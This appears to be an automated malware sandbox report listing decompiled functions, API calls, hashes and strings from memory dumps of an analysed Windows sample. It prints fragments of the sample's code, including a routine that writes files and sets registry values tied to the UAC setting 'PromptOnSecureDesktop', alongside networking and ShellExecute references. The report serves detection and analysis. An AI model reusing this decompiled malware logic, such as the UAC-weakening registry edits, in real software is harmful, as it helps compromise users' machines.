String ID: A$ A$ A
API String ID: 1534048567-1846390581
Opcode ID: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction ID: 5657049affdff3e40b4e41a0f1d2667ef6bee03caf1309071ad5deb01ceef7ae
Opcode Fuzzy Hash: 328de717d7c8de90c20bd47ba6ba1583dee1274120ab1c13f1680d5d51b61bca
Instruction Fuzzy Hash: 9EF09675600B02DFCB31CF15D884A92B7E9FF19321B45866AE264C3460D3B4ED94CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0041D642, Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0041D647
std::_Mutex::_Mutex.LIBCPMTD ref: 0041D65C

Part of subcall function 004209D0: new.LIBCPMTD ref: 004209EA

new.LIBCPMTD ref: 0041D674

Part of subcall function 0041F080: __malloc_dbg.LIBCMTD ref: 0041F09A
Part of subcall function 0041F080: std::bad_alloc::bad_alloc.LIBCMTD ref: 0041F0C8
Part of subcall function 0041F080: _atexit.LIBCMTD ref: 0041F0D2
Part of subcall function 0041F080: __CxxThrowException@8.LIBCMTD ref: 0041F0F0

std::locale::locale.LIBCPMT ref: 0041D682

Part of subcall function 0041D05A: std::locale::_Init.LIBCPMTD ref: 0041D05D
Part of subcall function 0041D05A: std::locale::facet::_Incref.LIBCPMT ref: 0041D06B

Memory Dump Source

Source File: 00000019.00000002.447542471.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Similarity

API ID: Exception@8H_prologIncrefInitMutexMutex::_Throw__malloc_dbg_atexitstd::_std::bad_alloc::bad_allocstd::locale::_std::locale::facet::_std::locale::locale
String ID:
API String ID: 96588900-0
Opcode ID: 0838ca45c45ddd9dadffdeae179460e19200df7e030d8e7b0c7daa53f8346105
Instruction ID: d4b2165ad2a4d99a8942fec2794c9541f2d7613225ce6ed811cdc235cc8bacd0
Opcode Fuzzy Hash: 0838ca45c45ddd9dadffdeae179460e19200df7e030d8e7b0c7daa53f8346105
Instruction Fuzzy Hash: 24F089B1F503109BD7147BA588027E972D49B48708F00843FB516E3782DBBC99848659

Uniqueness

Uniqueness Score: -1.00%

Function 0040A4C7, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A4C7(intOrPtr _a4) {
				long _t3;
				LONG* _t8;
				long _t9;

				_t9 = GetTickCount();
				_t8 = _a4 + 0x5c;
				while(1) {
					_t3 = InterlockedExchange(_t8, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t9;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040a4dd
0x0040a4df
0x0040a4f7
0x0040a4fa
0x0040a4fe
0x00000000
0x00000000
0x0040a4e6
0x0040a4ed
0x0040a4f1
0x00000000
0x0040a4f1
0x00000000
0x0040a4ed
0x0040a504

APIs

GetTickCount.KERNEL32 ref: 0040A4D1
GetTickCount.KERNEL32 ref: 0040A4E4
Sleep.KERNEL32(00000000,?,0040C2E9,0040C4E0,00000000,localcfg,?,0040C4E0,00413588,00408810), ref: 0040A4F1
InterlockedExchange.KERNEL32(?,00000001), ref: 0040A4FA

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction ID: a5473328a7e7118e9aede6741b06156156ec1e7733dd8d1ec56465b12724d56e
Opcode Fuzzy Hash: 4cd0520482080c365333fb8aab0c55e365768e1349ae612301bcb729eb943e51
Instruction Fuzzy Hash: 7DE0863720131567C6005BA5BD84FAA7B98AB4D761F164072FB08E3280D6AAA99145BF

Uniqueness

Uniqueness Score: -1.00%

Function 00404E92, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E92(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 4;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x2710) {
						Sleep(0xa);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404e9c
0x00404ea6
0x00404ea8
0x00404ec0
0x00404ec3
0x00404ec7
0x00000000
0x00000000
0x00404eaf
0x00404eb6
0x00404eba
0x00000000
0x00404eba
0x00000000
0x00404eb6
0x00404ecd

APIs

GetTickCount.KERNEL32 ref: 00404E9E
GetTickCount.KERNEL32 ref: 00404EAD
Sleep.KERNEL32(0000000A,?,00000001), ref: 00404EBA
InterlockedExchange.KERNEL32(?,00000001), ref: 00404EC3

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction ID: 0be737a4b1ecb403dd0b6a084e6b0260aeafc6613011e157a8d43e60cd200510
Opcode Fuzzy Hash: 574f7709b1251d8d4516fda0e718bcbaf1509578ef326d685951742d25275ed5
Instruction Fuzzy Hash: 6AE086B620121457D61027B9FD84F966A89AB9A361F010532F70DE21C0C6AA989345FD

Uniqueness

Uniqueness Score: -1.00%

Function 00404BD1, Relevance: 6.0, APIs: 4, Instructions: 27
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404BD1(void* __ecx) {
				long _t2;
				void* _t7;
				LONG* _t8;
				long _t9;

				_t7 = __ecx;
				_t9 = GetTickCount();
				_t8 = _t7 + 0xc;
				while(1) {
					_t2 = InterlockedExchange(_t8, 1);
					if(_t2 == 0) {
						break;
					}
					_t2 = GetTickCount() - _t9;
					if(_t2 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t2;
			}

0x00404bdb
0x00404be5
0x00404be7
0x00404bff
0x00404c02
0x00404c06
0x00000000
0x00000000
0x00404bee
0x00404bf5
0x00404bf9
0x00000000
0x00404bf9
0x00000000
0x00404bf5
0x00404c0c

APIs

GetTickCount.KERNEL32 ref: 00404BDD
GetTickCount.KERNEL32 ref: 00404BEC
Sleep.KERNEL32(00000000,?,?,?,00000004,004050F2), ref: 00404BF9
InterlockedExchange.KERNEL32(-00000008,00000001), ref: 00404C02

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction ID: c27c4130c4fb343c81443d6f5f76baf76a02980c1ff66e5fdc0d00212ab38f61
Opcode Fuzzy Hash: 1ad869c4a91a2c80201434bef060b196597965ff38d45849583c02ff4b747b44
Instruction Fuzzy Hash: FCE0867624521457D61027A66D80FA67BA89B99361F064073F70CE2190C9AAE48141BD

Uniqueness

Uniqueness Score: -1.00%

Function 004030FA, Relevance: 6.0, APIs: 4, Instructions: 23
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030FA(LONG* _a4) {
				long _t3;
				long _t5;

				_t5 = GetTickCount();
				while(1) {
					_t3 = InterlockedExchange(_a4, 1);
					if(_t3 == 0) {
						break;
					}
					_t3 = GetTickCount() - _t5;
					if(_t3 < 0x1388) {
						Sleep(0);
						continue;
					}
					break;
				}
				return _t3;
			}

0x0040310b
0x00403122
0x00403128
0x0040312c
0x00000000
0x00000000
0x00403111
0x00403118
0x0040311c
0x00000000
0x0040311c
0x00000000
0x00403118
0x00403131

APIs

GetTickCount.KERNEL32 ref: 00403103
GetTickCount.KERNEL32 ref: 0040310F
Sleep.KERNEL32(00000000), ref: 0040311C
InterlockedExchange.KERNEL32(?,00000001), ref: 00403128

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountTick$ExchangeInterlockedSleep
String ID:
API String ID: 2207858713-0
Opcode ID: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction ID: 9edc608f4d32da9f9de986fa19dd3c9deb40157c310ade5cfb00ff6fe32d5b40
Opcode Fuzzy Hash: 5475aadbbb6481cfb66701b566d3724b8cf1f0baef2ba10e865a3ab4c750e63b
Instruction Fuzzy Hash: 51E0C235200215ABDB00AF75BD44B8A6E9EDF8C762F014432F205EA1E0C9F44D51897A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E177, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040E177(signed int _a4, long _a8) {
				void* _v8;
				void* _v12;
				void* __ecx;
				void* _t31;
				void* _t34;
				intOrPtr* _t36;
				void* _t38;
				intOrPtr* _t41;
				void* _t43;
				void* _t46;
				void* _t47;
				void* _t57;
				void* _t58;
				void* _t67;
				void* _t68;
				void* _t72;
				void* _t77;

				_push(_t58);
				_push(_t58);
				if(_a8 != 0) {
					L2:
					if( *0x4136c0 == 0) {
						L20:
						_t31 = 1;
						L21:
						return _t31;
					}
					if((_a4 & 0x00000001) != 0) {
						_t46 = E0040DFE2(_t58, 1,  &_v8,  &_a8);
						_t67 = _t67 + 0xc;
						if(_t46 != 0) {
							_t81 = _a8;
							if(_a8 != 0) {
								_t47 = E0040DBCF(_t81, 0x40000000, 2);
								_pop(_t58);
								_v12 = _t47;
								if(_t47 != 0xffffffff) {
									_t57 = _v8;
									if(_t57 != 0 && _a8 != 0) {
										E00402544(_t57, _t57, _a8, 0xe4, 0xc8);
										_t67 = _t67 + 0x14;
										if(WriteFile(_v12, _t57, _a8,  &_a8, 0) != 0) {
											 *0x4136c0 =  *0x4136c0 & 0x00000000;
										}
									}
									CloseHandle(_v12);
								}
							}
						}
					}
					if((_a4 & 0x00000002) == 0) {
						L19:
						goto L20;
					}
					_t34 = E0040DFE2(_t58, 2,  &_v8,  &_a8);
					_t68 = _t67 + 0xc;
					if(_t34 == 0 || _a8 == 0) {
						goto L19;
					} else {
						E00402544(_v8, _v8, _a8, 0xe4, 0xc8);
						_t36 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t38 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t36, _v8, _a8);
						_t72 = _t68 + 0x50;
						if(_t38 != 0) {
							L17:
							 *0x4136c0 =  *0x4136c0 & 0x00000000;
							L18:
							E0040EE2A(_t58, 0x4122f8, 0, 0x100);
							E0040EE2A(_t58, 0x4128f8, 0, 0x100);
							goto L19;
						}
						_t41 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
						_t43 = E0040E095(0x80000001, E00402544(0x4122f8, 0x4110a0, 0x19, 0xe4, 0xc8), _t41, _v8, _a8);
						_t72 = _t72 + 0x3c;
						if(_t43 == 0) {
							goto L18;
						}
						goto L17;
					}
				}
				_t31 = 1;
				_t77 =  *0x4120ec - _t31; // 0x1
				if(_t77 != 0) {
					goto L21;
				}
				goto L2;
			}

0x0040e17a
0x0040e17b
0x0040e182
0x0040e193
0x0040e199
0x0040e312
0x0040e314
0x0040e315
0x0040e317
0x0040e317
0x0040e1ad
0x0040e1b9
0x0040e1be
0x0040e1c3
0x0040e1c5
0x0040e1c8
0x0040e1d1
0x0040e1d7
0x0040e1d8
0x0040e1de
0x0040e1e0
0x0040e1e5
0x0040e1f4
0x0040e1f9
0x0040e211
0x0040e213
0x0040e213
0x0040e211
0x0040e21d
0x0040e21d
0x0040e1de
0x0040e1c8
0x0040e1c3
0x0040e227
0x0040e310
0x00000000
0x0040e311
0x0040e237
0x0040e23c
0x0040e241
0x00000000
0x0040e251
0x0040e25c
0x0040e278
0x0040e29e
0x0040e2a3
0x0040e2a8
0x0040e2eb
0x0040e2eb
0x0040e2f2
0x0040e2fb
0x0040e308
0x00000000
0x0040e30d
0x0040e2be
0x0040e2df
0x0040e2e4
0x0040e2e9
0x00000000
0x00000000
0x00000000
0x0040e2e9
0x0040e241
0x0040e186
0x0040e187
0x0040e18d
0x00000000
0x00000000
0x00000000

APIs

WriteFile.KERNEL32(00000001,0040DAE0,00000000,00000000,00000000), ref: 0040E209
CloseHandle.KERNEL32(00000001,00000003), ref: 0040E21D

Part of subcall function 0040E095: RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
Part of subcall function 0040E095: RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
Part of subcall function 0040E095: RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
Part of subcall function 0040E095: RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E28A, 0040E28F, 0040E2D0, 0040E2FA

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction ID: b34283ca0245a4d5345772c7626065eb71a791ff6ac24fd5689ebe733b27dfc9
Opcode Fuzzy Hash: b35f9f727470473fe34b0fcdae204b38b052469ea0fd64ba9bdd2db24e4b8a6b
Instruction Fuzzy Hash: 5D41DB71940214BADB205E938C06FDB3F6CEB44754F1084BEFA09B41D2E6B99A60D6BD

Uniqueness

Uniqueness Score: -1.00%

Function 0086E3C7, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000001,008644CB,00000000,00000000,00000000), ref: 0086E459
CloseHandle.KERNEL32(00000001,00000003), ref: 0086E46D

Part of subcall function 0086E2E5: RegCreateKeyExA.ADVAPI32(80000001,0086E4F3,00000000,00000000,00000000,00020106,00000000,0086E4F3,00000000,000000E4), ref: 0086E302
Part of subcall function 0086E2E5: RegSetValueExA.ADVAPI32(0086E4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0086E377
Part of subcall function 0086E2E5: RegDeleteValueA.ADVAPI32(0086E4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0086E3A8
Part of subcall function 0086E2E5: RegCloseKey.ADVAPI32(0086E4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0086E4F3), ref: 0086E3B1

Strings

PromptOnSecureDesktop, xrefs: 0086E4DA, 0086E4DF, 0086E520, 0086E54A

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: CloseValue$CreateDeleteFileHandleWrite
String ID: PromptOnSecureDesktop
API String ID: 4151426672-2980165447
Opcode ID: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction ID: ad40a90f700df2e8a98f224cd1440fc781a957fe32232ad17bce788997e65783
Opcode Fuzzy Hash: f9347908c3accb151d66d4a2045a2710535659ff764f1ec32379916764927f64
Instruction Fuzzy Hash: E24107B6900208BADB20AF658C4AFDB3B6CFF00754F118065FA19D8192F7B5CA50D6B5

Uniqueness

Uniqueness Score: -1.00%

Function 00868319, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?), ref: 008683AF
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?), ref: 00868460

Part of subcall function 008669AC: SetFileAttributesA.KERNEL32(?,00000080), ref: 008669CE
Part of subcall function 008669AC: SetFileAttributesA.KERNEL32(?,00000002), ref: 00866A0F
Part of subcall function 008669AC: GetFileSize.KERNEL32(000000FF,00000000), ref: 00866A23

Part of subcall function 0086EE7E: GetProcessHeap.KERNEL32(00000000,?,00000000,00861DB8,?), ref: 0086EE91
Part of subcall function 0086EE7E: HeapFree.KERNEL32(00000000), ref: 0086EE98

Strings

PromptOnSecureDesktop, xrefs: 0086839B, 008683A0, 0086846C

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 359188348-2980165447
Opcode ID: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction ID: 28de089d7a1af14404357dd32df824d2cf41564e84d350aa14fd18bfa7182050
Opcode Fuzzy Hash: c1a48b1ac5137ef9544f8785227e3e3eae959810ca81eb1dd85f310690abdf03
Instruction Fuzzy Hash: C7417FB2900109FEEB11EBA49E81DFE777CFB04300F16457AF608E6111EE749A948B5A

Uniqueness

Uniqueness Score: -1.00%

Function 0086E61A, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0086E842,00000000,00020119,0086E842,PromptOnSecureDesktop), ref: 0086E636
RegCloseKey.ADVAPI32(0086E842,?,?,?,?,000000C8,000000E4), ref: 0086E770

Strings

PromptOnSecureDesktop, xrefs: 0086E620

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 47109696-2980165447
Opcode ID: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction ID: 53bdc235e1b4591eb25d6cb84393accbbc81207d03d6cef4cabfcab58d642d91
Opcode Fuzzy Hash: ca61599b3ee270ad7d52ab6b22e6fbb0cb95010ae32332e4c3022532ab02544e
Instruction Fuzzy Hash: D74102B6D0021DAFEF11AF98DC81DEEBBB9FB18304F114066EA10E2161E7719A558B61

Uniqueness

Uniqueness Score: -1.00%

Function 0086AFD9, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0086AFE8
SystemTimeToFileTime.KERNEL32(?,?), ref: 0086AFF6

Part of subcall function 0086AF58: gethostname.WS2_32(?,00000080), ref: 0086AF6C
Part of subcall function 0086AF58: lstrcpy.KERNEL32(?,00410B90), ref: 0086AFCF

Part of subcall function 00863305: gethostname.WS2_32(?,00000080), ref: 00863328
Part of subcall function 00863305: gethostbyname.WS2_32(?), ref: 00863332

Part of subcall function 0086A9F3: inet_ntoa.WS2_32(00000000), ref: 0086A9F9

Strings

%OUTLOOK_BND_, xrefs: 0086B05F, 0086B064, 0086B0A7, 0086B0C6

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Time$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %OUTLOOK_BND_
API String ID: 1981676241-3684217054
Opcode ID: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction ID: d92d11b8415723b0da2120d2fe1e1b105284025c43f5cb663edb6191b6d5e6f6
Opcode Fuzzy Hash: 8e8a8b671ed14d1768aa81df58b4956713f73d3ffbf43b844f6b98d3c95244e6
Instruction Fuzzy Hash: E44141B290024CABDB25EFA4DC45EEF3B6CFB04304F154426FA24D2152EB75D994CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0086943B, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 119sleepCOMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000022,00000000,00000000), ref: 0086951F
Sleep.KERNEL32(000001F4), ref: 00869546

Strings

, xrefs: 008694C2

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-3916222277
Opcode ID: 551461b966954de20ec1d41e8ed6a80588f78eac55537dc1440b17fc4f14da60
Instruction ID: ad32ffaf5b15ea32ffd3f419380f84f0ef18df14035c5a33eecf9e7db8dd25a6
Opcode Fuzzy Hash: 551461b966954de20ec1d41e8ed6a80588f78eac55537dc1440b17fc4f14da60
Instruction Fuzzy Hash: 49412471808348AEEB238628D88C7E63BACFB42310F2A00E5D0D7CB0D2DAB44D868755

Uniqueness

Uniqueness Score: -1.00%

Function 0086BBE0, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0086BB82
InterlockedIncrement.KERNEL32(?), ref: 0086BDFE

Strings

0t, xrefs: 0086BB82

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: CountIncrementInterlockedTick
String ID: 0t
API String ID: 2903770966-1355922044
Opcode ID: a04ee2a2c9cdc85e6bbe75af223a59f82e01217bbc2cf6c0f0167175ccb8fb12
Instruction ID: 3e69481db75d7bbe32fee1846cdc4c602883c4325c820f92d09d60ad033a480a
Opcode Fuzzy Hash: a04ee2a2c9cdc85e6bbe75af223a59f82e01217bbc2cf6c0f0167175ccb8fb12
Instruction Fuzzy Hash: 2D419C728002589FDF36EF64DC85AEA37A8FB14705F61446AFA24D6152EB31DAC0CF52

Uniqueness

Uniqueness Score: -1.00%

Function 0086294F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0086297E
sendto.WS2_32(?,00412BF8,00000009,00000000,?,00000010), ref: 00862A52

Part of subcall function 0086EE1C: GetProcessHeap.KERNEL32(00000000,00000000,00000000,0086EE4E,?,?,00861D5E,?,?), ref: 0086EE23
Part of subcall function 0086EE1C: RtlAllocateHeap.NTDLL(00000000,?,00861D5E), ref: 0086EE2A

Strings

0t, xrefs: 0086297E

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateCountProcessTicksendto
String ID: 0t
API String ID: 1419455383-1355922044
Opcode ID: 0403605264f70e2ba04ed5eb857e1fa34a4c1028b668a0d3736469d5bfe16290
Instruction ID: bf5cafebe66a184526934cf5bdde77c210aeb5dc0be669274fea2d3ed3cb3e71
Opcode Fuzzy Hash: 0403605264f70e2ba04ed5eb857e1fa34a4c1028b668a0d3736469d5bfe16290
Instruction Fuzzy Hash: FC3156342083969FD7108F74DC40AA17B60FF59318F2A80BDE955CB322D6B2E892D709

Uniqueness

Uniqueness Score: -1.00%

Function 0086BD7A, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 0086B615: wsprintfA.USER32 ref: 0086B6B7

GetTickCount.KERNEL32 ref: 0086B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0086BA23
InterlockedIncrement.KERNEL32(?), ref: 0086BA7D
GetTickCount.KERNEL32 ref: 0086BB62
GetTickCount.KERNEL32 ref: 0086BB82
InterlockedIncrement.KERNEL32(?), ref: 0086BDFE
closesocket.WS2_32(00000000), ref: 0086BE9D

Strings

0t, xrefs: 0086BB82

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocketwsprintf
String ID: 0t
API String ID: 4077942794-1355922044
Opcode ID: 807286dfab293aa3b35cedfe51c725f4e5163db31e78ef99f1cf7ca87fcdd825
Instruction ID: 75577fa5a54a2626a6bd2248a08f60043b58c890c49c08f8f8a881761451393e
Opcode Fuzzy Hash: 807286dfab293aa3b35cedfe51c725f4e5163db31e78ef99f1cf7ca87fcdd825
Instruction Fuzzy Hash: F8318C71500248EFDF25DFA4DC85AED7BA5FB08708F21446AFA24C2161EB32DA80DF11

Uniqueness

Uniqueness Score: -1.00%

Function 0086BDB9, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0086B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0086BA23
InterlockedIncrement.KERNEL32(?), ref: 0086BA7D
GetTickCount.KERNEL32 ref: 0086BB62
GetTickCount.KERNEL32 ref: 0086BB82
InterlockedIncrement.KERNEL32(?), ref: 0086BDFE
closesocket.WS2_32(00000000), ref: 0086BE9D

Strings

0t, xrefs: 0086BB82

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: 0t
API String ID: 1869671989-1355922044
Opcode ID: 1d618aaef58b3ab215079b9b31fa447b3856f6d26cbe6ee9946270808dfc3956
Instruction ID: 060cbc90d81183d8ca87f52133d995e4e5fa5b479787c6cd9794e3b8dbc95074
Opcode Fuzzy Hash: 1d618aaef58b3ab215079b9b31fa447b3856f6d26cbe6ee9946270808dfc3956
Instruction Fuzzy Hash: 56217C71500288DFDF25DFA8DC85AE97BE4FB44705F61406AFA24C2261EB36DA84CF11

Uniqueness

Uniqueness Score: -1.00%

Function 0086BBCD, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0086B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0086BA23
InterlockedIncrement.KERNEL32(?), ref: 0086BA7D
GetTickCount.KERNEL32 ref: 0086BB62
GetTickCount.KERNEL32 ref: 0086BB82
InterlockedIncrement.KERNEL32(?), ref: 0086BDFE
closesocket.WS2_32(00000000), ref: 0086BE9D

Strings

0t, xrefs: 0086BB82

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: 0t
API String ID: 1869671989-1355922044
Opcode ID: 9b58e820c96e30bea9cf8a5773d901c602008467136ce8ddc7967acdf40d357b
Instruction ID: f584b9151a9132ed042a32cd11b17997f5d0b317df184fa982f2144bd98dfa91
Opcode Fuzzy Hash: 9b58e820c96e30bea9cf8a5773d901c602008467136ce8ddc7967acdf40d357b
Instruction Fuzzy Hash: 3E219071500248DFDF25DFA4DC94AEA77A8FB48709F61406AFA24C6161EB32DAC0CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0086BD60, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0086B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0086BA23
InterlockedIncrement.KERNEL32(?), ref: 0086BA7D
GetTickCount.KERNEL32 ref: 0086BB62
GetTickCount.KERNEL32 ref: 0086BB82
InterlockedIncrement.KERNEL32(?), ref: 0086BDFE
closesocket.WS2_32(00000000), ref: 0086BE9D

Strings

0t, xrefs: 0086BB82

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: CountIncrementInterlockedTick$closesocket
String ID: 0t
API String ID: 1869671989-1355922044
Opcode ID: 1ad4ab0cef1100dab09d35a4997a37f06c5e750f14e9eb7400ff0985812ffdd9
Instruction ID: 1dd5462004e857ddd50e64ee1d7aaed0bad1448d15765aa209a77738cf58f18e
Opcode Fuzzy Hash: 1ad4ab0cef1100dab09d35a4997a37f06c5e750f14e9eb7400ff0985812ffdd9
Instruction Fuzzy Hash: 6D21AF71500248DFDF25DFA8DC84AEA77A4FB44709F61406AFA24C6161EB32DAC0CF11

Uniqueness

Uniqueness Score: -1.00%

Function 0086BBB0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0086B9C2
InterlockedIncrement.KERNEL32(00413648), ref: 0086BA23
InterlockedIncrement.KERNEL32(?), ref: 0086BA7D
GetTickCount.KERNEL32 ref: 0086BB62
GetTickCount.KERNEL32 ref: 0086BB82
InterlockedIncrement.KERNEL32(?), ref: 0086BDFE
closesocket.WS2_32(00000000), ref: 0086BE9D

Strings

0t, xrefs: 0086BB82

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

